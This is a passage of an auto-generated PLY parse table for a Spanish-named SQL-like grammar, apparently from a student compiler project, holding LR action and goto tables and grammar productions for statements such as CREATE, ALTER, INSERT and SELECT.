425,435,436,443,444,445,446,447,448,449,450,451,457,461,469,471,],[-171,100,-145,-88,-175,-85,-86,-87,-89,-88,100,219,-124,-125,-170,-178,-181,-183,-185,247,-143,-88,-166,-167,-168,-169,-146,249,-193,-197,269,290,-182,-184,-186,-172,-173,-174,-176,-177,-55,-31,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,373,-92,-122,-123,-135,-127,-179,-144,397,-194,-195,-196,-187,-188,-189,-190,-191,-192,-30,-38,-40,100,373,414,100,-180,-29,-34,-39,-36,-41,-91,-121,-134,-126,-28,100,-35,-37,-58,-56,-57,-59,-32,373,-88,-90,-90,]),'references':([46,55,56,62,65,66,67,68,76,156,158,161,162,163,166,167,168,169,170,171,172,243,244,245,260,261,262,263,264,330,333,362,395,455,469,471,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-182,-184,-186,-172,-173,-174,-176,-177,-179,-144,412,-180,473,-90,-90,]),'having':([46,55,56,62,65,66,67,68,76,156,158,161,162,163,166,167,168,169,170,171,172,243,244,245,260,261,262,263,264,330,333,388,395,461,469,471,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-182,-184,-186,-172,-173,-174,-176,-177,-179,-144,431,-180,-88,-90,-90,]),'pyc':([46,49,50,55,56,62,65,66,67,68,69,71,73,76,80,82,83,86,88,92,117,126,136,143,144,145,146,147,156,158,161,162,163,164,166,167,168,169,170,171,172,175,176,186,194,198,201,203,207,213,214,215,217,243,244,245,260,261,262,263,264,266,267,268,270,272,273,274,275,276,277,278,279,280,281,282,283,284,294,295,298,299,303,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,345,365,372,376,388,395,413,417,424,425,432,433,434,435,436,437,438,440,441,447,448,449,450,456,458,461,462,465,469,470,471,472,474,476,479,483,486,],[-171,97,98,-145,-88,-175,-85,-86,-87,-89,116,119,-23,-88,133,-77,135,141,-98,157,183,193,208,-95,-97,224,-124,-125,-170,-178,-181,-183,-185,246,-143,-88,-166,-167,-168,-169,-146,-193,-197,-25,-64,-65,-66,-67,-76,304,-88,-193,-96,-182,-184,-186,-172,-173,-174,-176,-177,-22,-27,350,-55,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,-71,-72,370,371,141,-122,224,224,-193,224,224,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,-201,-68,-82,421,224,-180,452,-73,460,-121,224,-105,-106,-134,-126,467,468,-24,-26,-58,-56,-57,-59,-74,475,224,224,224,-90,482,-90,-69,-83,484,224,-70,224,]),'union':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,225,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,225,225,-193,225,225,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,225,-180,-121,225,-105,-106,-134,-126,225,225,225,-90,-90,225,225,]),'intersect':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,226,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,226,226,-193,226,226,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,226,-180,-121,226,-105,-106,-134,-126,226,226,226,-90,-90,226,226,]),'except':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,227,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,227,227,-193,227,227,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,227,-180,-121,227,-105,-106,-134,-126,227,227,227,-90,-90,227,227,]),'order':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,228,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,228,228,-193,228,228,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,228,-180,-121,228,-105,-106,-134,-126,228,228,228,-90,-90,228,228,]),'limit':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,229,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,229,229,-193,229,229,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,229,-180,-121,229,-105,-106,-134,-126,229,229,229,-90,-90,229,229,]),'offset':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,230,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,230,230,-193,230,230,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,230,-180,-121,230,-105,-106,-134,-126,230,230,230,-90,-90,230,230,]),'where':([46,55,56,62,65,66,67,68,76,86,88,143,144,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,217,243,244,245,260,261,262,263,264,303,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,142,-98,-95,-97,220,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-96,-182,-184,-186,-172,-173,-174,-176,-177,142,-122,220,220,-193,220,220,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,220,-180,-121,220,-105,-106,-134,-126,220,220,220,-90,-90,220,220,]),'group':([46,55,56,62,65,66,67,68,76,145,146,147,156,158,161,162,163,166,167,168,169,170,171,172,175,176,243,244,245,260,261,262,263,264,309,310,311,313,319,320,321,322,328,330,333,336,337,338,339,340,341,342,343,344,388,395,425,432,433,434,435,436,461,462,465,469,471,479,486,],[-171,-145,-88,-175,-85,-86,-87,-89,-88,222,-124,-125,-170,-178,-181,-183,-185,-143,-88,-166,-167,-168,-169,-146,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-122,382,222,-193,222,222,-123,-135,-127,-179,-144,-194,-195,-196,-187,-188,-189,-190,-191,-192,222,-180,-121,222,-105,-106,-134,-126,222,222,222,-90,-90,222,222,]),'mayor':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,254,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,254,-193,-179,-187,-188,-189,-190,-191,-192,-180,-90,]),'menor':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,255,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,255,-193,-179,-187,-188,-189,-190,-191,-192,-180,-90,]),'mayorigual':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,256,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,256,-193,-179,-187,-188,-189,-190,-191,-192,-180,-90,]),'menorigual':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,257,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,257,-193,-179,-187,-188,-189,-190,-191,-192,-180,-90,]),'diferente':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,366,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,258,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,258,-193,-179,-187,-188,-189,-190,-191,-192,415,-180,-90,]),'igual':([46,62,65,66,67,68,76,122,139,156,158,161,162,163,168,169,170,171,175,176,214,215,243,244,245,260,261,262,263,264,311,313,330,339,340,341,342,343,344,346,347,395,471,],[-171,-175,-85,-86,-87,-89,-88,187,212,-170,-178,-181,-183,-185,-166,-167,-168,-169,-193,259,305,-193,-182,-184,-186,-172,-173,-174,-176,-177,259,-193,-179,-187,-188,-189,-190,-191,-192,399,400,-180,-90,]),'then':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,174,175,176,243,244,245,260,261,262,263,264,330,336,337,338,339,340,341,342,343,344,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,250,-193,-197,-182,-184,-186,-172,-173,-174,-176,-177,-179,-194,-195,-196,-187,-188,-189,-190,-191,-192,-180,-90,]),'and':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,174,175,176,213,214,215,243,244,245,260,261,262,263,264,310,311,313,330,336,337,338,339,340,341,342,343,344,395,435,465,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,251,-193,-197,251,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,251,-197,-193,-179,-194,-195,251,-187,-188,-189,-190,-191,-192,-180,251,251,-90,]),'or':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,174,175,176,213,214,215,243,244,245,260,261,262,263,264,310,311,313,330,336,337,338,339,340,341,342,343,344,395,435,465,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,252,-193,-197,252,-88,-193,-182,-184,-186,-172,-173,-174,-176,-177,252,-197,-193,-179,252,-195,252,-187,-188,-189,-190,-191,-192,-180,252,252,-90,]),'not':([46,62,65,66,67,68,72,76,94,156,158,161,162,163,168,169,170,171,174,175,176,213,214,215,243,244,245,260,261,262,263,264,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,310,311,313,330,336,337,338,339,340,341,342,343,344,354,356,369,395,402,405,407,435,447,448,449,450,465,471,],[-171,-175,-85,-86,-87,-89,120,-88,160,-170,-178,-181,-183,-185,-166,-167,-168,-169,253,-193,-197,253,-88,307,-182,-184,-186,-172,-173,-174,-176,-177,-55,355,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,253,-197,387,-179,-194,-195,253,-187,-188,-189,-190,-191,-192,355,355,418,-180,355,355,355,253,-58,-56,-57,-59,253,-90,]),'in':([46,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,214,215,243,244,245,260,261,262,263,264,307,313,330,387,395,471,],[-171,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-88,306,-182,-184,-186,-172,-173,-174,-176,-177,378,386,-179,429,-180,-90,]),'when':([46,58,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,243,244,245,260,261,262,263,264,330,335,395,471,],[-171,108,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-182,-184,-186,-172,-173,-174,-176,-177,-179,108,-180,-90,]),'end':([46,58,62,65,66,67,68,76,156,158,161,162,163,168,169,170,171,243,244,245,260,261,262,263,264,330,335,395,471,],[-171,109,-175,-85,-86,-87,-89,-88,-170,-178,-181,-183,-185,-166,-167,-168,-169,-182,-184,-186,-172,-173,-174,-176,-177,-179,109,-180,-90,]),'between':([46,56,65,66,67,68,76,167,214,461,469,471,],[93,-88,-85,-86,-87,-89,-88,-88,-88,-88,-90,-90,]),'is':([46,56,65,66,67,68,76,167,214,461,469,471,],[94,-88,-85,-86,-87,-89,-88,-88,-88,-88,-90,-90,]),'punto':([56,167,461,],[105,248,105,]),'as':([65,66,67,68,75,76,146,309,328,471,],[-85,-86,-87,-89,124,-88,231,380,393,-90,]),'like':([69,],[118,]),'owner':([73,79,266,],[121,132,346,]),'mode':([73,266,],[122,347,]),'add':([78,],[127,]),'rename':([78,79,],[129,131,]),'exists':([81,120,142,220,],[134,185,216,312,]),'values':([84,302,],[137,374,]),'year':([90,],[150,]),'month':([90,],[151,]),'day':([90,],[152,]),'hour':([90,],[153,]),'minute':([90,],[154,]),'second':([90,],[155,]),'null':([94,160,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,354,355,356,402,405,407,418,447,448,449,450,],[161,243,-55,354,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,354,405,354,354,354,354,456,-58,-56,-57,-59,]),'true':([94,160,],[162,244,]),'false':([94,160,],[163,245,]),'porcentaje':([118,265,],[184,345,]),'foreing':([123,127,],[190,197,]),'enum':([124,],[191,]),'column':([127,128,129,130,],[195,199,202,204,]),'check':([127,],[196,]),'constraint':([128,],[200,]),'to':([131,132,296,],[205,206,368,]),'inner':([146,],[233,]),'left':([146,],[235,]),'right':([146,],[236,]),'full':([146,],[237,]),'outer':([146,],[238,]),'join':([146,233,235,236,237,238,],[234,323,324,325,326,327,]),'smallint':([189,291,351,],[272,272,272,]),'integer':([189,291,351,],[273,273,273,]),'bigint':([189,291,351,],[274,274,274,]),'decimal':([189,291,351,],[275,275,275,]),'numeric':([189,291,351,],[276,276,276,]),'real':([189,291,351,],[277,277,277,]),'double':([189,291,351,],[278,278,278,]),'money':([189,291,351,],[279,279,279,]),'character':([189,291,351,],[280,280,280,]),'text':([189,291,351,],[281,281,281,]),'date':([189,291,351,],[282,282,282,]),'boolean':([189,291,351,],[283,283,283,]),'int':([189,291,351,],[284,284,284,]),'varying':([189,291,351,],[285,285,285,]),'varchar':([189,291,351,],[286,286,286,]),'char':([189,291,351,],[287,287,287,]),'key':([190,197,352,357,],[288,293,403,407,]),'by':([222,228,382,],[314,318,426,]),'interval':([247,],[332,]),'inherits':([268,],[349,]),'primary':([269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,354,356,402,405,407,447,448,449,450,],[352,-55,357,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,357,357,357,357,357,-58,-56,-57,-59,]),'identity':([270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,354,356,402,405,407,447,448,449,450,],[-55,356,-42,-43,-44,-45,-46,-47,-48,-49,-50,-51,-52,-53,-54,356,356,356,356,356,-58,-56,-57,-59,]),'on':([322,],[392,]),'asc':([389,],[433,]),'desc':([389,],[434,]),'vacio':([415,],[454,]),}
_lr_action = {}
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = {}
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'inicio':([0,],[1,]),'instrucciones':([0,],[2,]),'instruccion':([0,25,],[3,70,]),'ddl':([0,25,],[4,4,]),'dml':([0,25,],[5,5,]),'sentencia_create':([0,25,],[6,6,]),'sentencia_alter':([0,25,],[7,7,]),'sentencia_drop':([0,25,],[8,8,]),'sentencia_truncate':([0,25,],[9,9,]),'sentencia_insert':([0,25,],[10,10,]),'sentencia_update':([0,25,],[11,11,]),'sentencia_delete':([0,25,],[12,12,]),'sentencia_select':([0,25,148,225,226,227,308,377,385,423,428,464,],[13,13,239,315,316,317,379,422,427,459,463,480,]),'sentencia_show':([0,25,],[14,14,]),'create_cont':([15,16,],[26,30,]),'alter_objeto':([17,],[31,]),'objeto':([18,],[34,]),'opciones_fecha':([23,],[41,]),'select_cont':([23,],[42,]),'valor':([23,29,44,45,52,93,96,100,101,102,103,104,106,108,109,110,111,112,113,114,121,125,142,187,209,212,220,229,230,241,249,250,251,252,253,254,255,256,257,258,259,288,289,290,292,305,314,329,331,332,373,392,397,399,400,403,414,420,426,431,],[46,75,46,92,46,158,165,46,46,46,46,46,173,46,177,46,46,46,46,46,186,192,46,267,46,46,46,46,46,330,334,46,46,46,46,46,46,46,46,46,46,46,46,364,366,46,46,394,395,396,46,46,439,440,441,46,453,46,46,46,]),'lista_id':([23,52,288,314,403,426,],[53,99,362,388,444,388,]),'sen_case':([23,],[54,]),'operacion_aritmetica':([23,44,52,100,101,102,103,104,108,110,111,112,113,114,142,209,212,220,229,230,250,251,252,253,254,255,256,257,258,259,288,289,305,314,373,392,403,420,426,431,],[55,91,55,166,168,169,170,171,175,178,179,180,181,182,215,301,303,313,319,320,335,175,175,175,175,175,175,175,175,175,55,301,376,55,419,175,55,301,55,175,]),'if_not':([27,28,],[71,74,]),'if_exist':([34,],[80,]),'delete_cont':([40,],[86,]),'case_when':([58,335,],[107,398,]),'show_cont':([69,],[115,]),'ins_like':([69,],[117,]),'alter_cont':([78,],[126,]),'insert_cont':([84,],[136,]),'condicion':([86,303,],[140,375,]),'lista_from':([89,],[145,]),'hacer_join':([89,],[147,]),'tipo_date':([90,],[149,]),'operacion_logica':([108,142,220,251,252,253,392,431,],[174,213,310,336,337,338,435,465,]),'operacion_relacional':([108,142,220,251,252,253,254,255,256,257,258,259,392,431,],[176,176,311,176,176,176,339,340,341,342,343,344,176,176,]),'col_tabla':([123,],[188,]),'con_add':([127,],[194,]),'con_drop':([128,],[198,]),'con_rename':([129,],[201,]),'con_alter':([130,],[203,]),'lista_campos':([138,],[210,]),'condicion_cont':([145,310,311,319,320,388,432,461,462,465,479,486,],[218,383,383,383,383,383,383,383,383,383,383,383,]),'fin_select':([145,310,311,319,320,388,432,461,462,465,479,486,],[221,381,384,221,221,430,221,477,478,481,485,487,]),'order_by':([145,310,311,319,320,388,432,461,462,465,479,486,],[223,223,223,390,391,223,466,223,223,223,223,223,]),'tipo_join':([146,],[232,]),'tipo':([189,291,351,],[271,365,402,]),'lista_insertar':([209,289,420,],[300,363,457,]),'fin_tabla':([268,],[348,]),'propiedades':([271,354,356,402,405,407,],[353,404,406,443,445,446,]),'opcion_order':([389,],[432,]),}
_lr_goto = {}
for _k, _v in _lr_goto_items.items():
for _x, _y in zip(_v[0], _v[1]):
if not _x in _lr_goto: _lr_goto[_x] = {}
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> inicio","S'",1,None,None,None),
('inicio -> instrucciones','inicio',1,'p_inicio','gramatica2.py',21),
('instrucciones -> instrucciones NEWLINE instruccion','instrucciones',3,'p_instrucciones','gramatica2.py',27),
('instrucciones -> instruccion','instrucciones',1,'p_instrucciones2','gramatica2.py',36),
('instruccion -> ddl','instruccion',1,'p_instruccion','gramatica2.py',42),
('instruccion -> dml','instruccion',1,'p_instruccion','gramatica2.py',43),
('ddl -> sentencia_create','ddl',1,'p_ddl','gramatica2.py',50),
('ddl -> sentencia_alter','ddl',1,'p_ddl','gramatica2.py',51),
('ddl -> sentencia_drop','ddl',1,'p_ddl','gramatica2.py',52),
('ddl -> sentencia_truncate','ddl',1,'p_ddl','gramatica2.py',53),
('dml -> sentencia_insert','dml',1,'p_dml','gramatica2.py',60),
('dml -> sentencia_update','dml',1,'p_dml','gramatica2.py',61),
('dml -> sentencia_delete','dml',1,'p_dml','gramatica2.py',62),
('dml -> sentencia_select','dml',1,'p_dml','gramatica2.py',63),
('dml -> sentencia_show','dml',1,'p_dml','gramatica2.py',64),
('sentencia_create -> create create_cont','sentencia_create',2,'p_crear','gramatica2.py',72),
('sentencia_create -> replace create_cont','sentencia_create',2,'p_crear','gramatica2.py',73),
('create_cont -> database if_not pyc','create_cont',3,'p_create_cont','gramatica2.py',83),
('create_cont -> table if_not par1 col_tabla par2 fin_tabla','create_cont',6,'p_create_cont2','gramatica2.py',91),
('create_cont -> type valor as enum par1 lista_insertar par2 pyc','create_cont',8,'p_create_cont3','gramatica2.py',101),
('fin_tabla -> inherits par1 identificador par2 pyc','fin_tabla',5,'p_inherits','gramatica2.py',114),
('fin_tabla -> pyc','fin_tabla',1,'p_inherits2','gramatica2.py',129),
('if_not -> if not exists identificador','if_not',4,'p_if_not','gramatica2.py',136),
('if_not -> identificador','if_not',1,'p_if_not2','gramatica2.py',148),
('if_not -> if not exists identificador owner igual valor','if_not',7,'p_if_not3','gramatica2.py',155),
('if_not -> identificador owner valor','if_not',3,'p_if_not4','gramatica2.py',173),
('if_not -> if not exists identificador mode igual valor','if_not',7,'p_if_not5','gramatica2.py',182),
('if_not -> identificador mode igual valor','if_not',4,'p_if_not6','gramatica2.py',200),
('col_tabla -> col_tabla coma identificador tipo propiedades','col_tabla',5,'p_col_tabla','gramatica2.py',212),
('col_tabla -> col_tabla coma identificador tipo','col_tabla',4,'p_col_tabla2','gramatica2.py',224),
('col_tabla -> identificador tipo propiedades','col_tabla',3,'p_col_tabla3','gramatica2.py',235),
('col_tabla -> identificador tipo','col_tabla',2,'p_col_tabla4','gramatica2.py',243),
('col_tabla -> foreing key lista_id references identificador','col_tabla',5,'p_col_tabla5','gramatica2.py',252),
('col_tabla -> col_tabla coma primary key lista_id','col_tabla',5,'p_col_tabla6','gramatica2.py',267),
('propiedades -> null propiedades','propiedades',2,'p_propiedades','gramatica2.py',280),
('propiedades -> not null propiedades','propiedades',3,'p_propiedades2','gramatica2.py',288),
('propiedades -> identity propiedades','propiedades',2,'p_propiedades3','gramatica2.py',297),
('propiedades -> primary key propiedades','propiedades',3,'p_propiedades4','gramatica2.py',304),
('propiedades -> null','propiedades',1,'p_propiedades5','gramatica2.py',313),
('propiedades -> not null','propiedades',2,'p_propiedades6','gramatica2.py',320),
('propiedades -> identity','propiedades',1,'p_propiedades7','gramatica2.py',328),
('propiedades -> primary key','propiedades',2,'p_propiedades8','gramatica2.py',334),
('tipo -> smallint','tipo',1,'p_tipo','gramatica2.py',342),
('tipo -> integer','tipo',1,'p_tipo','gramatica2.py',343),
('tipo -> bigint','tipo',1,'p_tipo','gramatica2.py',344),
('tipo -> decimal','tipo',1,'p_tipo','gramatica2.py',345),
('tipo -> numeric','tipo',1,'p_tipo','gramatica2.py',346),
('tipo -> real','tipo',1,'p_tipo','gramatica2.py',347),
('tipo -> double','tipo',1,'p_tipo','gramatica2.py',348),
('tipo -> money','tipo',1,'p_tipo','gramatica2.py',349),
('tipo -> character','tipo',1,'p_tipo','gramatica2.py',350),
('tipo -> text','tipo',1,'p_tipo','gramatica2.py',351),
('tipo -> date','tipo',1,'p_tipo','gramatica2.py',352),
('tipo -> boolean','tipo',1,'p_tipo','gramatica2.py',353),
('tipo -> int','tipo',1,'p_tipo','gramatica2.py',354),
('tipo -> identificador','tipo',1,'p_tipo','gramatica2.py',355),
('tipo -> varying par1 num par2','tipo',4,'p_tipo2','gramatica2.py',362),
('tipo -> varchar par1 num par2','tipo',4,'p_tipo3','gramatica2.py',374),
('tipo -> character par1 num par2','tipo',4,'p_tipo4','gramatica2.py',386),
('tipo -> char par1 num par2','tipo',4,'p_tipo5','gramatica2.py',398),
('sentencia_alter -> alter alter_objeto','sentencia_alter',2,'p_alter','gramatica2.py',412),
('alter_objeto -> table identificador alter_cont pyc','alter_objeto',4,'p_alter_objeto','gramatica2.py',420),
('alter_objeto -> database identificador rename to identificador pyc','alter_objeto',6,'p_alter_objeto2','gramatica2.py',432),
('alter_objeto -> database identificador owner to identificador pyc','alter_objeto',6,'p_alter_objeto2','gramatica2.py',433),
('alter_cont -> add con_add','alter_cont',2,'p_alter_cont','gramatica2.py',450),
('alter_cont -> drop con_drop','alter_cont',2,'p_alter_cont','gramatica2.py',451),
('alter_cont -> rename con_rename','alter_cont',2,'p_alter_cont','gramatica2.py',452),
('alter_cont -> alter con_alter','alter_cont',2,'p_alter_cont','gramatica2.py',453),
('con_add -> column identificador tipo','con_add',3,'p_con_add','gramatica2.py',461),
('con_add -> check par1 valor diferente vacio par2','con_add',6,'p_con_add2','gramatica2.py',471),
('con_add -> foreing key par1 identificador par2 references identificador','con_add',7,'p_con_add3','gramatica2.py',486),
('con_drop -> column identificador','con_drop',2,'p_con_drop','gramatica2.py',505),
('con_drop -> constraint identificador','con_drop',2,'p_con_drop','gramatica2.py',506),
('con_rename -> column identificador to identificador','con_rename',4,'p_con_rename','gramatica2.py',515),
('con_alter -> column identificador set not null','con_alter',5,'p_con_alter','gramatica2.py',528),
('sentencia_drop -> drop objeto if_exist pyc','sentencia_drop',4,'p_drop','gramatica2.py',544),
('if_exist -> if exists identificador','if_exist',3,'p_if_exist','gramatica2.py',556),
('if_exist -> identificador','if_exist',1,'p_if_exist2','gramatica2.py',567),
('objeto -> table','objeto',1,'p_objeto','gramatica2.py',574),
('objeto -> database','objeto',1,'p_objeto','gramatica2.py',575),
('sentencia_truncate -> truncate table identificador pyc','sentencia_truncate',4,'p_truncate','gramatica2.py',583),
('sentencia_insert -> insert into identificador insert_cont pyc','sentencia_insert',5,'p_insert','gramatica2.py',598),
('insert_cont -> values par1 lista_insertar par2','insert_cont',4,'p_insert_cont','gramatica2.py',612),
('insert_cont -> par1 lista_campos par2 values par1 lista_insertar par2','insert_cont',7,'p_insert_cont2','gramatica2.py',625),
('lista_campos -> identificador','lista_campos',1,'p_lista_campos','gramatica2.py',652),
('valor -> num','valor',1,'p_valor','gramatica2.py',659),
('valor -> cadena','valor',1,'p_valor2','gramatica2.py',666),
('valor -> pdecimal','valor',1,'p_valor3','gramatica2.py',673),
('valor -> identificador','valor',1,'p_valor4','gramatica2.py',680),
('valor -> cadenacaracter','valor',1,'p_valor5','gramatica2.py',687),
('valor -> substring par1 valor coma valor coma valor par2','valor',8,'p_valor6','gramatica2.py',694),
('lista_insertar -> lista_insertar coma operacion_aritmetica','lista_insertar',3,'p_lista_insertar','gramatica2.py',712),
('lista_insertar -> operacion_aritmetica','lista_insertar',1,'p_lista_insertar2','gramatica2.py',721),
('sentencia_update -> update identificador set identificador igual operacion_aritmetica condicion','sentencia_update',7,'p_update','gramatica2.py',729),
('sentencia_delete -> delete from delete_cont condicion','sentencia_delete',4,'p_delete','gramatica2.py',747),
('delete_cont -> only identificador','delete_cont',2,'p_delete_cont','gramatica2.py',757),
('delete_cont -> only identificador por','delete_cont',3,'p_delete_cont2','gramatica2.py',766),
('delete_cont -> identificador por','delete_cont',2,'p_delete_cont3','gramatica2.py',778),
('delete_cont -> identificador','delete_cont',1,'p_delete_cont4','gramatica2.py',787),
('sentencia_select -> select opciones_fecha','sentencia_select',2,'p_select','gramatica2.py',795),
('sentencia_select -> select select_cont from lista_from condicion_cont','sentencia_select',5,'p_select2','gramatica2.py',803),
('order_by -> order by identificador opcion_order order_by','order_by',5,'p_order','gramatica2.py',815),
('order_by -> condicion_cont','order_by',1,'p_order2','gramatica2.py',828),
('order_by -> limit operacion_aritmetica order_by','order_by',3,'p_order3','gramatica2.py',834),
('order_by -> offset operacion_aritmetica order_by','order_by',3,'p_order4','gramatica2.py',843),
('opcion_order -> asc','opcion_order',1,'p_opcion_order','gramatica2.py',852),
('opcion_order -> desc','opcion_order',1,'p_opcion_order','gramatica2.py',853),
('condicion_cont -> where operacion_logica fin_select','condicion_cont',3,'p_condicion_cont','gramatica2.py',861),
('condicion_cont -> where operacion_relacional fin_select','condicion_cont',3,'p_condicion_cont1','gramatica2.py',870),
('condicion_cont -> where operacion_logica group by identificador fin_select','condicion_cont',6,'p_condicion_cont2','gramatica2.py',878),
('condicion_cont -> group by lista_id fin_select','condicion_cont',4,'p_condicion_cont3','gramatica2.py',895),
('condicion_cont -> group by lista_id having operacion_logica fin_select','condicion_cont',6,'p_condicion_cont4','gramatica2.py',906),
('condicion_cont -> where exists par1 sentencia_select par2 fin_select','condicion_cont',6,'p_condicion_cont5','gramatica2.py',921),
('condicion_cont -> where operacion_aritmetica in par1 sentencia_select par2 fin_select','condicion_cont',7,'p_condicion_cont6','gramatica2.py',936),
